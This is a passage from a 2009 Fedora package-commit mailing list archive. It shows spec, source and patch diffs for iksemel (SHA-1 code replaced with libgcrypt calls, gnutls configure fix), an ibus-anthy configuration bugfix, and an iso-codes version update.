 iks_sha_reset (iksha *sha)
 {
 	memset (sha, 0, sizeof (iksha));
-	sha->hash[0] = 0x67452301;
-	sha->hash[1] = 0xefcdab89;
-	sha->hash[2] = 0x98badcfe;
-	sha->hash[3] = 0x10325476;
-	sha->hash[4] = 0xc3d2e1f0;
+	gcry_md_open(&sha->c, GCRY_MD_SHA1, 0);
 }
 
 void
 iks_sha_hash (iksha *sha, const unsigned char *data, size_t len, int finish)
 {
-	unsigned char pad[8];
-	unsigned char padc;
-
-	if (data && len != 0) sha_buffer (sha, data, len);
-	if (!finish) return;
-
-	pad[0] = (unsigned char)((sha->lenhi >> 24) & 0xff);
-	pad[1] = (unsigned char)((sha->lenhi >> 16) & 0xff);
-	pad[2] = (unsigned char)((sha->lenhi >> 8) & 0xff);
-	pad[3] = (unsigned char)(sha->lenhi & 0xff);
-	pad[4] = (unsigned char)((sha->lenlo >> 24) & 0xff);
-	pad[5] = (unsigned char)((sha->lenlo >> 16) & 0xff);
-	pad[6] = (unsigned char)((sha->lenlo >> 8) & 0xff);
-	pad[7] = (unsigned char)(sha->lenlo & 255);
-
-	padc = 0x80;
-	sha_buffer (sha, &padc, 1);
-
-	padc = 0x00;
-	while (sha->blen != 56)
-		sha_buffer (sha, &padc, 1);
-
-	sha_buffer (sha, pad, 8);
+	if (data && len != 0)
+		gcry_md_write(sha->c, data, len);
+	if (finish)
+		gcry_md_final(sha->c);
 }
 
 void
 iks_sha_print (iksha *sha, char *hash)
 {
+	unsigned char bin[20];
 	int i;
 
-	for (i=0; i<5; i++)
+	memcpy(bin, gcry_md_read(sha->c, 0), 20);
+
+	for (i=0; i<20; i++)
 	{
-		sprintf (hash, "%08x", sha->hash[i]);
-		hash += 8;
+		sprintf (hash, "%02x", bin[i]);
+		hash += 2;
 	}
 }
 
 void
 iks_sha_delete (iksha *sha)
 {
+	gcry_md_close(sha->c);
 	iks_free (sha);
 }
 
@@ -95,58 +72,3 @@ iks_sha (const char *data, char *hash)
 	iks_sha_print (sha, hash);
 	iks_free (sha);
 }
-
-static void
-sha_buffer (iksha *sha, const unsigned char *data, int len)
-{
-	int i;
-
-	for (i=0; i<len; i++) {
-		sha->buf[sha->blen / 4] <<= 8;
-		sha->buf[sha->blen / 4] |= (unsigned int)data[i];
-		if ((++sha->blen) % 64 == 0) {
-			sha_calculate (sha);
-			sha->blen = 0;
-		}
-		sha->lenlo += 8;
-		sha->lenhi += (sha->lenlo < 8);
-	}
-}
-
-#define SRL(x,y) (((x) << (y)) | ((x) >> (32-(y))))
-#define SHA(a,b,f,c) \
-	for (i= (a) ; i<= (b) ; i++) { \
-		TMP = SRL(A,5) + ( (f) ) + E + sha->buf[i] + (c) ; \
-		E = D; \
-		D = C; \
-		C = SRL(B,30); \
-		B = A; \
-		A = TMP; \
-	}
-
-static void
-sha_calculate (iksha *sha)
-{
-	int i;
-	unsigned int A, B, C, D, E, TMP;
-
-	for (i=16; i<80; i++)
-		sha->buf[i] = SRL (sha->buf[i-3] ^ sha->buf[i-8] ^ sha->buf[i-14] ^ sha->buf[i-16], 1);
-
-	A = sha->hash[0];
-	B = sha->hash[1];
-	C = sha->hash[2];
-	D = sha->hash[3];
-	E = sha->hash[4];
-
-	SHA (0,  19, ((C^D)&B)^D,     0x5a827999);
-	SHA (20, 39, B^C^D,           0x6ed9eba1);
-	SHA (40, 59, (B&C)|(D&(B|C)), 0x8f1bbcdc);
-	SHA (60, 79, B^C^D,           0xca62c1d6);
-
-	sha->hash[0] += A;
-	sha->hash[1] += B;
-	sha->hash[2] += C;
-	sha->hash[3] += D;
-	sha->hash[4] += E;
-}
-- 
1.6.5.rc2



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/iksemel/devel/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	26 Aug 2007 04:19:07 -0000	1.3
+++ .cvsignore	23 Oct 2009 04:58:54 -0000	1.4
@@ -1 +1 @@
-iksemel-1.3.tar.gz
+iksemel-1.4.tar.gz


Index: iksemel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/iksemel/devel/iksemel.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- iksemel.spec	25 Jul 2009 03:16:26 -0000	1.15
+++ iksemel.spec	23 Oct 2009 04:58:55 -0000	1.16
@@ -1,14 +1,14 @@
 Name:           iksemel
-Version:        1.3
-Release:        8%{?dist}
+Version:        1.4
+Release:        1%{?dist}
 Summary:        An XML parser library designed for Jabber applications
 
 Group:          System Environment/Libraries
 License:        LGPLv2+
 URL:            http://code.google.com/p/iksemel/
 Source0:        http://iksemel.googlecode.com/files/iksemel-%{version}.tar.gz
-Patch0:         iksemel-gcrypt-sha.patch
-Patch1:         iksemel-64bit.patch
+Patch0:         0001-Fix-issues-compiling-with-newer-gnutls.patch
+Patch1:         0002-Strip-out-internal-SHA-code-and-use-functions-from-g.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  gnutls-devel
@@ -117,6 +117,11 @@ fi
 %{_bindir}/iksroster
 
 %changelog
+* Thu Oct 22 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.4-1
+- Update to 1.4
+- Apply patch from upstream so that gnutls autoconf works.
+- Update gcrypt-sha patch so that it applies.
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.3-8
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/iksemel/devel/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	26 Aug 2007 04:19:07 -0000	1.3
+++ sources	23 Oct 2009 04:58:55 -0000	1.4
@@ -1 +1 @@
-36ab2d9f11980a19217b6f79a19ef8e7  iksemel-1.3.tar.gz
+532e77181694f87ad5eb59435d11c1ca  iksemel-1.4.tar.gz


--- iksemel-64bit.patch DELETED ---


--- iksemel-gcrypt-sha.patch DELETED ---



From jcollie at fedoraproject.org  Fri Oct 23 05:02:02 2009
From: jcollie at fedoraproject.org (Jeffrey C. Ollie)
Date: Fri, 23 Oct 2009 05:02:02 +0000 (UTC)
Subject: rpms/iksemel/F-12 0001-Fix-issues-compiling-with-newer-gnutls.patch,
	NONE,
	1.1 0002-Strip-out-internal-SHA-code-and-use-functions-from-g.patch, 
	NONE, 1.1 iksemel.spec, 1.15, 1.16 sources, 1.3,
	1.4 iksemel-64bit.patch, 1.2, NONE iksemel-gcrypt-sha.patch, 1.2, NONE
Message-ID: <20091023050202.A996511C01EA@cvs1.fedora.phx.redhat.com>

Author: jcollie

Update of /cvs/pkgs/rpms/iksemel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26902

Modified Files:
	iksemel.spec sources 
Added Files:
	0001-Fix-issues-compiling-with-newer-gnutls.patch 
	0002-Strip-out-internal-SHA-code-and-use-functions-from-g.patch 
Removed Files:
	iksemel-64bit.patch iksemel-gcrypt-sha.patch 
Log Message:
* Thu Oct 22 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.4-1
- Update to 1.4
- Apply patch from upstream so that gnutls autoconf works.
- Update gcrypt-sha patch so that it applies.


0001-Fix-issues-compiling-with-newer-gnutls.patch:
 configure.ac |   11 +++++++++--
 1 file changed, 9 insertions(+), 2 deletions(-)

--- NEW FILE 0001-Fix-issues-compiling-with-newer-gnutls.patch ---
>From a5f5d88a10e90c0dac44c8e845d8ce295a233bbd Mon Sep 17 00:00:00 2001
From: Jeffrey C. Ollie <jeff at ocjtech.us>
Date: Thu, 22 Oct 2009 23:46:22 -0500
Subject: [PATCH 1/2] Fix issues compiling with newer gnutls

---
 configure.ac |   10 +++++++++-
 1 files changed, 9 insertions(+), 1 deletions(-)

diff --git a/configure.ac b/configure.ac
index 91e69e3..952bbe6 100644
--- a/configure.ac
+++ b/configure.ac
@@ -45,7 +45,15 @@ AC_SEARCH_LIBS(recv,socket)
 AC_CHECK_FUNCS(getopt_long)
 AC_CHECK_FUNCS(getaddrinfo)
 
-AM_PATH_LIBGNUTLS(,AC_DEFINE(HAVE_GNUTLS,,"Use libgnutls"))
+dnl Check GNU TLS
+PKG_CHECK_MODULES(GNUTLS, gnutls >= 2.0.0, have_gnutls=yes, have_gnutls=no)
+if test "x$have_gnutls" = "xyes"; then
+  LIBGNUTLS_CFLAGS="$GNUTLS_CFLAGS"
+  LIBGNUTLS_LIBS="$GNUTLS_LIBS"
+  AC_SUBST(LIBGNUTLS_CFLAGS)
+  AC_SUBST(LIBGNUTLS_LIBS)
+  AC_DEFINE(HAVE_GNUTLS, 1, [whether to use GnuTSL support.])
+fi
 
 dnl Check -Wall flag of GCC
 if test "x$GCC" = "xyes"; then
-- 
1.6.5.rc2


0002-Strip-out-internal-SHA-code-and-use-functions-from-g.patch:
 configure.ac    |    1 
 src/Makefile.am |    4 +-
 src/sha.c       |  109 +++++++-------------------------------------------------
 3 files changed, 18 insertions(+), 96 deletions(-)

--- NEW FILE 0002-Strip-out-internal-SHA-code-and-use-functions-from-g.patch ---
>From e909440a2abcdf1ed58810a20a7fd6a8f187816f Mon Sep 17 00:00:00 2001
From: Jeffrey C. Ollie <jeff at ocjtech.us>
Date: Sat, 25 Aug 2007 22:31:07 -0500
Subject: [PATCH 2/2] Strip out internal SHA code and use functions from gcrypt.

---
 configure.ac    |    1 +
 src/Makefile.am |    4 +-
 src/sha.c       |  108 ++++++++-----------------------------------------------
 3 files changed, 18 insertions(+), 95 deletions(-)

diff --git a/configure.ac b/configure.ac
index 952bbe6..b215f1c 100644
--- a/configure.ac
+++ b/configure.ac
@@ -54,6 +54,7 @@ if test "x$have_gnutls" = "xyes"; then
   AC_SUBST(LIBGNUTLS_LIBS)
   AC_DEFINE(HAVE_GNUTLS, 1, [whether to use GnuTSL support.])
 fi
+AM_PATH_LIBGCRYPT(,AC_DEFINE(HAVE_LIBGCRYPT,,"Use libgcrypt"))
 
 dnl Check -Wall flag of GCC
 if test "x$GCC" = "xyes"; then
diff --git a/src/Makefile.am b/src/Makefile.am
index 303671c..f13f482 100644
--- a/src/Makefile.am
+++ b/src/Makefile.am
@@ -25,5 +25,5 @@ libiksemel_la_SOURCES = \
 	base64.c
 
 libiksemel_la_LDFLAGS = -version-info 4:1:1 -no-undefined
-libiksemel_la_CFLAGS = $(CFLAGS) $(LIBGNUTLS_CFLAGS)
-libiksemel_la_LIBADD = $(LIBGNUTLS_LIBS)
+libiksemel_la_CFLAGS = $(CFLAGS) $(LIBGNUTLS_CFLAGS) $(LIBGCRYPT_CFLAGS)
+libiksemel_la_LIBADD = $(LIBGNUTLS_LIBS) $(LIBGCRYPT_LIBS)
diff --git a/src/sha.c b/src/sha.c
index 04d566e..7b2126b 100644
--- a/src/sha.c
+++ b/src/sha.c
@@ -4,17 +4,13 @@
 ** modify it under the terms of GNU Lesser General Public License.
 */
 
+#include <gcrypt.h>
+
 #include "common.h"
 #include "iksemel.h"
 
-static void sha_buffer (iksha *sha, const unsigned char *data, int len);
-static void sha_calculate (iksha *sha);
-
 struct iksha_struct {
-	unsigned int hash[5];
-	unsigned int buf[80];
-	int blen;
-	unsigned int lenhi, lenlo;
+	gcry_md_hd_t c;
 };
 
 iksha *
@@ -32,56 +28,37 @@ void
 iks_sha_reset (iksha *sha)
 {
 	memset (sha, 0, sizeof (iksha));
-	sha->hash[0] = 0x67452301;
-	sha->hash[1] = 0xefcdab89;
-	sha->hash[2] = 0x98badcfe;
-	sha->hash[3] = 0x10325476;
-	sha->hash[4] = 0xc3d2e1f0;
+	gcry_md_open(&sha->c, GCRY_MD_SHA1, 0);
 }
 
 void
 iks_sha_hash (iksha *sha, const unsigned char *data, size_t len, int finish)
 {
-	unsigned char pad[8];
-	unsigned char padc;
-
-	if (data && len != 0) sha_buffer (sha, data, len);
-	if (!finish) return;
-
-	pad[0] = (unsigned char)((sha->lenhi >> 24) & 0xff);
-	pad[1] = (unsigned char)((sha->lenhi >> 16) & 0xff);
-	pad[2] = (unsigned char)((sha->lenhi >> 8) & 0xff);
-	pad[3] = (unsigned char)(sha->lenhi & 0xff);
-	pad[4] = (unsigned char)((sha->lenlo >> 24) & 0xff);
-	pad[5] = (unsigned char)((sha->lenlo >> 16) & 0xff);
-	pad[6] = (unsigned char)((sha->lenlo >> 8) & 0xff);
-	pad[7] = (unsigned char)(sha->lenlo & 255);
-
-	padc = 0x80;
-	sha_buffer (sha, &padc, 1);
-
-	padc = 0x00;
-	while (sha->blen != 56)
-		sha_buffer (sha, &padc, 1);
-
-	sha_buffer (sha, pad, 8);
+	if (data && len != 0)
+		gcry_md_write(sha->c, data, len);
+	if (finish)
+		gcry_md_final(sha->c);
 }
 
 void
 iks_sha_print (iksha *sha, char *hash)
 {
+	unsigned char bin[20];
 	int i;
 
-	for (i=0; i<5; i++)
+	memcpy(bin, gcry_md_read(sha->c, 0), 20);
+
+	for (i=0; i<20; i++)
 	{
-		sprintf (hash, "%08x", sha->hash[i]);
-		hash += 8;
+		sprintf (hash, "%02x", bin[i]);
+		hash += 2;
 	}
 }
 
 void
 iks_sha_delete (iksha *sha)
 {
+	gcry_md_close(sha->c);
 	iks_free (sha);
 }
 
@@ -95,58 +72,3 @@ iks_sha (const char *data, char *hash)
 	iks_sha_print (sha, hash);
 	iks_free (sha);
 }
-
-static void
-sha_buffer (iksha *sha, const unsigned char *data, int len)
-{
-	int i;
-
-	for (i=0; i<len; i++) {
-		sha->buf[sha->blen / 4] <<= 8;
-		sha->buf[sha->blen / 4] |= (unsigned int)data[i];
-		if ((++sha->blen) % 64 == 0) {
-			sha_calculate (sha);
-			sha->blen = 0;
-		}
-		sha->lenlo += 8;
-		sha->lenhi += (sha->lenlo < 8);
-	}
-}
-
-#define SRL(x,y) (((x) << (y)) | ((x) >> (32-(y))))
-#define SHA(a,b,f,c) \
-	for (i= (a) ; i<= (b) ; i++) { \
-		TMP = SRL(A,5) + ( (f) ) + E + sha->buf[i] + (c) ; \
-		E = D; \
-		D = C; \
-		C = SRL(B,30); \
-		B = A; \
-		A = TMP; \
-	}
-
-static void
-sha_calculate (iksha *sha)
-{
-	int i;
-	unsigned int A, B, C, D, E, TMP;
-
-	for (i=16; i<80; i++)
-		sha->buf[i] = SRL (sha->buf[i-3] ^ sha->buf[i-8] ^ sha->buf[i-14] ^ sha->buf[i-16], 1);
-
-	A = sha->hash[0];
-	B = sha->hash[1];
-	C = sha->hash[2];
-	D = sha->hash[3];
-	E = sha->hash[4];
-
-	SHA (0,  19, ((C^D)&B)^D,     0x5a827999);
-	SHA (20, 39, B^C^D,           0x6ed9eba1);
-	SHA (40, 59, (B&C)|(D&(B|C)), 0x8f1bbcdc);
-	SHA (60, 79, B^C^D,           0xca62c1d6);
-
-	sha->hash[0] += A;
-	sha->hash[1] += B;
-	sha->hash[2] += C;
-	sha->hash[3] += D;
-	sha->hash[4] += E;
-}
-- 
1.6.5.rc2



Index: iksemel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/iksemel/F-12/iksemel.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- iksemel.spec	25 Jul 2009 03:16:26 -0000	1.15
+++ iksemel.spec	23 Oct 2009 05:02:02 -0000	1.16
@@ -1,14 +1,14 @@
 Name:           iksemel
-Version:        1.3
-Release:        8%{?dist}
+Version:        1.4
+Release:        1%{?dist}
 Summary:        An XML parser library designed for Jabber applications
 
 Group:          System Environment/Libraries
 License:        LGPLv2+
 URL:            http://code.google.com/p/iksemel/
 Source0:        http://iksemel.googlecode.com/files/iksemel-%{version}.tar.gz
-Patch0:         iksemel-gcrypt-sha.patch
-Patch1:         iksemel-64bit.patch
+Patch0:         0001-Fix-issues-compiling-with-newer-gnutls.patch
+Patch1:         0002-Strip-out-internal-SHA-code-and-use-functions-from-g.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  gnutls-devel
@@ -117,6 +117,11 @@ fi
 %{_bindir}/iksroster
 
 %changelog
+* Thu Oct 22 2009 Jeffrey C. Ollie <jeff at ocjtech.us> - 1.4-1
+- Update to 1.4
+- Apply patch from upstream so that gnutls autoconf works.
+- Update gcrypt-sha patch so that it applies.
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.3-8
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/iksemel/F-12/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	26 Aug 2007 04:19:07 -0000	1.3
+++ sources	23 Oct 2009 05:02:02 -0000	1.4
@@ -1 +1 @@
-36ab2d9f11980a19217b6f79a19ef8e7  iksemel-1.3.tar.gz
+532e77181694f87ad5eb59435d11c1ca  iksemel-1.4.tar.gz


--- iksemel-64bit.patch DELETED ---


--- iksemel-gcrypt-sha.patch DELETED ---



From fujiwara at fedoraproject.org  Fri Oct 23 05:17:22 2009
From: fujiwara at fedoraproject.org (Takao Fujiwara)
Date: Fri, 23 Oct 2009 05:17:22 +0000 (UTC)
Subject: rpms/ibus-anthy/devel ibus-anthy-HEAD.patch, 1.3,
	1.4 ibus-anthy.spec, 1.25, 1.26
Message-ID: <20091023051722.DD71811C01EA@cvs1.fedora.phx.redhat.com>

Author: fujiwara

Update of /cvs/pkgs/rpms/ibus-anthy/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31462

Modified Files:
	ibus-anthy-HEAD.patch ibus-anthy.spec 
Log Message:

Fix bug 526881 - ibus-anthy backtrace is reported by the latest abrt


ibus-anthy-HEAD.patch:
 engine.py |   17 +++++++++++------
 1 file changed, 11 insertions(+), 6 deletions(-)

Index: ibus-anthy-HEAD.patch
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-anthy/devel/ibus-anthy-HEAD.patch,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- ibus-anthy-HEAD.patch	17 Sep 2009 10:02:20 -0000	1.3
+++ ibus-anthy-HEAD.patch	23 Oct 2009 05:17:21 -0000	1.4
@@ -1 +1,39 @@
-
+diff --git a/engine/engine.py b/engine/engine.py
+index 7069b0a..4b93d35 100644
+--- a/engine/engine.py
++++ b/engine/engine.py
+@@ -952,10 +952,10 @@ class Engine(ibus.EngineBase):
+     @classmethod
+     def CONFIG_VALUE_CHANGED(cls, bus, section, name, value):
+         print 'VALUE_CHAMGED =', section, name, value
+-        section = section[len(cls.__prefs._prefix) + 1:]
+-        if section == cls._get_shortcut_type():
++        base_sec = section[len(cls.__prefs._prefix) + 1:]
++        sec = cls._get_shortcut_type()
++        if base_sec == sec:
+             cmd = '_Engine__cmd_' + name
+-            sec = cls._get_shortcut_type()
+             old = cls.__prefs.get_value(sec, name)
+             value = value if value != [''] else []
+             for s in set(old).difference(value):
+@@ -968,12 +968,17 @@ class Engine(ibus.EngineBase):
+                     lambda a, b: cmp(keys.index(a[13:]), keys.index(b[13:])))
+ 
+             cls.__prefs.set_value(sec, name, value)
+-        elif section == 'common':
+-            cls.__prefs.set_value(section, name, value)
++        elif base_sec == 'common':
++            cls.__prefs.set_value(base_sec, name, value)
+             if name == 'shortcut_type':
+                 cls.__keybind = cls._mk_keybind()
++        elif section == 'panel':
++            # This value is used for ibus.config.set_value only.
++            pass
++        elif base_sec:
++            cls.__prefs.set_value(base_sec, name, value)
+         else:
+-            cls.__prefs.set_value(sec, name, value)
++            cls.__prefs.set_value(section, name, value)
+ 
+     @classmethod
+     def _mk_keybind(cls):


Index: ibus-anthy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-anthy/devel/ibus-anthy.spec,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- ibus-anthy.spec	17 Sep 2009 10:02:20 -0000	1.25
+++ ibus-anthy.spec	23 Oct 2009 05:17:21 -0000	1.26
@@ -2,13 +2,13 @@
 %define require_ibus_version 1.2.0.20090904
 Name:       ibus-anthy
 Version:    1.2.0.20090917
-Release:    1%{?dist}
+Release:    2%{?dist}
 Summary:    The Anthy engine for IBus input platform
 License:    GPLv2+
 Group:      System Environment/Libraries
 URL:        http://code.google.com/p/ibus/
 Source0:    http://ibus.googlecode.com/files/%{name}-%{version}.tar.gz
-# Patch0:     ibus-anthy-HEAD.patch
+Patch0:     ibus-anthy-HEAD.patch
 
 BuildRoot:  %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -18,6 +18,7 @@ BuildRequires:  python-devel
 BuildRequires:  anthy-devel
 BuildRequires:  swig
 BuildRequires:  pkgconfig
+BuildRequires:  intltool
 
 Requires:   ibus >= %{require_ibus_version}
 Requires:   anthy
@@ -29,7 +30,7 @@ libanthy.
 
 %prep
 %setup -q
-# %patch0 -p1
+%patch0 -p1
 
 %build
 %configure --disable-static
@@ -57,6 +58,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/ibus/component/*
 
 %changelog
+* Fri Oct 23 2009 Takao Fujiwara <takao.fujiwara1 at gmail.com> - 1.2.0.20090917-2
+- Fix bug 526881 - ibus-anthy backtrace is reported by the latest abrt
+
 * Thu Sep 17 2009 Takao Fujiwara <takao.fujiwara1 at gmail.com> - 1.2.0.20090917-1
 - Update to 1.2.0.20090917
 - Fix bug 523642 - ibus-anthy convert_to_char_type_{for,back}ward()



From fujiwara at fedoraproject.org  Fri Oct 23 05:34:13 2009
From: fujiwara at fedoraproject.org (Takao Fujiwara)
Date: Fri, 23 Oct 2009 05:34:13 +0000 (UTC)
Subject: rpms/ibus-anthy/F-12 ibus-anthy-HEAD.patch, 1.3, 1.4 ibus-anthy.spec,
	1.25, 1.26
Message-ID: <20091023053413.C999A11C01EA@cvs1.fedora.phx.redhat.com>

Author: fujiwara

Update of /cvs/pkgs/rpms/ibus-anthy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1601

Modified Files:
	ibus-anthy-HEAD.patch ibus-anthy.spec 
Log Message:

Fix bug 526881 - ibus-anthy backtrace is reported by the latest abrt


ibus-anthy-HEAD.patch:
 engine.py |   17 +++++++++++------
 1 file changed, 11 insertions(+), 6 deletions(-)

Index: ibus-anthy-HEAD.patch
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-anthy/F-12/ibus-anthy-HEAD.patch,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- ibus-anthy-HEAD.patch	17 Sep 2009 10:02:20 -0000	1.3
+++ ibus-anthy-HEAD.patch	23 Oct 2009 05:34:13 -0000	1.4
@@ -1 +1,39 @@
-
+diff --git a/engine/engine.py b/engine/engine.py
+index 7069b0a..4b93d35 100644
+--- a/engine/engine.py
++++ b/engine/engine.py
+@@ -952,10 +952,10 @@ class Engine(ibus.EngineBase):
+     @classmethod
+     def CONFIG_VALUE_CHANGED(cls, bus, section, name, value):
+         print 'VALUE_CHAMGED =', section, name, value
+-        section = section[len(cls.__prefs._prefix) + 1:]
+-        if section == cls._get_shortcut_type():
++        base_sec = section[len(cls.__prefs._prefix) + 1:]
++        sec = cls._get_shortcut_type()
++        if base_sec == sec:
+             cmd = '_Engine__cmd_' + name
+-            sec = cls._get_shortcut_type()
+             old = cls.__prefs.get_value(sec, name)
+             value = value if value != [''] else []
+             for s in set(old).difference(value):
+@@ -968,12 +968,17 @@ class Engine(ibus.EngineBase):
+                     lambda a, b: cmp(keys.index(a[13:]), keys.index(b[13:])))
+ 
+             cls.__prefs.set_value(sec, name, value)
+-        elif section == 'common':
+-            cls.__prefs.set_value(section, name, value)
++        elif base_sec == 'common':
++            cls.__prefs.set_value(base_sec, name, value)
+             if name == 'shortcut_type':
+                 cls.__keybind = cls._mk_keybind()
++        elif section == 'panel':
++            # This value is used for ibus.config.set_value only.
++            pass
++        elif base_sec:
++            cls.__prefs.set_value(base_sec, name, value)
+         else:
+-            cls.__prefs.set_value(sec, name, value)
++            cls.__prefs.set_value(section, name, value)
+ 
+     @classmethod
+     def _mk_keybind(cls):


Index: ibus-anthy.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-anthy/F-12/ibus-anthy.spec,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- ibus-anthy.spec	17 Sep 2009 10:02:20 -0000	1.25
+++ ibus-anthy.spec	23 Oct 2009 05:34:13 -0000	1.26
@@ -2,13 +2,13 @@
 %define require_ibus_version 1.2.0.20090904
 Name:       ibus-anthy
 Version:    1.2.0.20090917
-Release:    1%{?dist}
+Release:    2%{?dist}
 Summary:    The Anthy engine for IBus input platform
 License:    GPLv2+
 Group:      System Environment/Libraries
 URL:        http://code.google.com/p/ibus/
 Source0:    http://ibus.googlecode.com/files/%{name}-%{version}.tar.gz
-# Patch0:     ibus-anthy-HEAD.patch
+Patch0:     ibus-anthy-HEAD.patch
 
 BuildRoot:  %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -18,6 +18,7 @@ BuildRequires:  python-devel
 BuildRequires:  anthy-devel
 BuildRequires:  swig
 BuildRequires:  pkgconfig
+BuildRequires:  intltool
 
 Requires:   ibus >= %{require_ibus_version}
 Requires:   anthy
@@ -29,7 +30,7 @@ libanthy.
 
 %prep
 %setup -q
-# %patch0 -p1
+%patch0 -p1
 
 %build
 %configure --disable-static
@@ -57,6 +58,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/ibus/component/*
 
 %changelog
+* Fri Oct 23 2009 Takao Fujiwara <takao.fujiwara1 at gmail.com> - 1.2.0.20090917-2
+- Fix bug 526881 - ibus-anthy backtrace is reported by the latest abrt
+
 * Thu Sep 17 2009 Takao Fujiwara <takao.fujiwara1 at gmail.com> - 1.2.0.20090917-1
 - Update to 1.2.0.20090917
 - Fix bug 523642 - ibus-anthy convert_to_char_type_{for,back}ward()



From pnemade at fedoraproject.org  Fri Oct 23 06:03:51 2009
From: pnemade at fedoraproject.org (pnemade)
Date: Fri, 23 Oct 2009 06:03:51 +0000 (UTC)
Subject: rpms/iso-codes/devel .cvsignore, 1.29, 1.30 iso-codes.spec, 1.38,
	1.39 sources, 1.30, 1.31
Message-ID: <20091023060351.CDC3911C01EA@cvs1.fedora.phx.redhat.com>

Author: pnemade

Update of /cvs/pkgs/rpms/iso-codes/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8127

Modified Files:
	.cvsignore iso-codes.spec sources 
Log Message:
* Fri Oct 23 2009 Parag Nemade <pnemade at redhat.com> - 3.11-1
- Update to 3.11




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/iso-codes/devel/.cvsignore,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- .cvsignore	17 Sep 2009 09:46:06 -0000	1.29
+++ .cvsignore	23 Oct 2009 06:03:49 -0000	1.30
@@ -1 +1 @@
-iso-codes-3.10.3.tar.bz2
+iso-codes-3.11.tar.bz2


Index: iso-codes.spec
===================================================================
RCS file: /cvs/pkgs/rpms/iso-codes/devel/iso-codes.spec,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -p -r1.38 -r1.39
--- iso-codes.spec	17 Sep 2009 09:46:06 -0000	1.38
+++ iso-codes.spec	23 Oct 2009 06:03:50 -0000	1.39
@@ -1,7 +1,7 @@
 Name:	iso-codes
 Summary:	ISO code lists and translations
 
-Version:	3.10.3
+Version:	3.11
 Release:	1%{?dist}
 License:	LGPLv2+
 Group:	System Environment/Base
@@ -57,6 +57,9 @@ make install DESTDIR=$RPM_BUILD_ROOT
 %{_datadir}/pkgconfig/iso-codes.pc
 
 %changelog
+* Fri Oct 23 2009 Parag Nemade <pnemade at redhat.com> - 3.11-1
+- Update to 3.11
+
 * Thu Sep 17 2009 Parag Nemade <pnemade at redhat.com> - 3.10.3-1
 - Update to 3.10.3
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/iso-codes/devel/sources,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- sources	17 Sep 2009 09:46:06 -0000	1.30
+++ sources	23 Oct 2009 06:03:50 -0000	1.31
@@ -1 +1 @@
-64c1595a5191e01798827477737d6e21  iso-codes-3.10.3.tar.bz2
+29d5526d963a6ecdac40772fac9fe6bb  iso-codes-3.11.tar.bz2



From pnemade at fedoraproject.org  Fri Oct 23 06:09:38 2009
From: pnemade at fedoraproject.org (pnemade)
Date: Fri, 23 Oct 2009 06:09:38 +0000 (UTC)
Subject: rpms/iso-codes/F-12 iso-codes.spec,1.38,1.39 sources,1.30,1.31
Message-ID: <20091023060938.4489E11C01EA@cvs1.fedora.phx.redhat.com>

Author: pnemade

Update of /cvs/pkgs/rpms/iso-codes/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9368

Modified Files:
	iso-codes.spec sources 
Log Message:
* Fri Oct 23 2009 Parag Nemade <pnemade at redhat.com> - 3.11-1
- Update to 3.11




Index: iso-codes.spec
===================================================================
RCS file: /cvs/pkgs/rpms/iso-codes/F-12/iso-codes.spec,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -p -r1.38 -r1.39
--- iso-codes.spec	17 Sep 2009 09:46:06 -0000	1.38
+++ iso-codes.spec	23 Oct 2009 06:09:37 -0000	1.39
@@ -1,7 +1,7 @@
 Name:	iso-codes
 Summary:	ISO code lists and translations
 
-Version:	3.10.3
+Version:	3.11
 Release:	1%{?dist}
 License:	LGPLv2+
 Group:	System Environment/Base
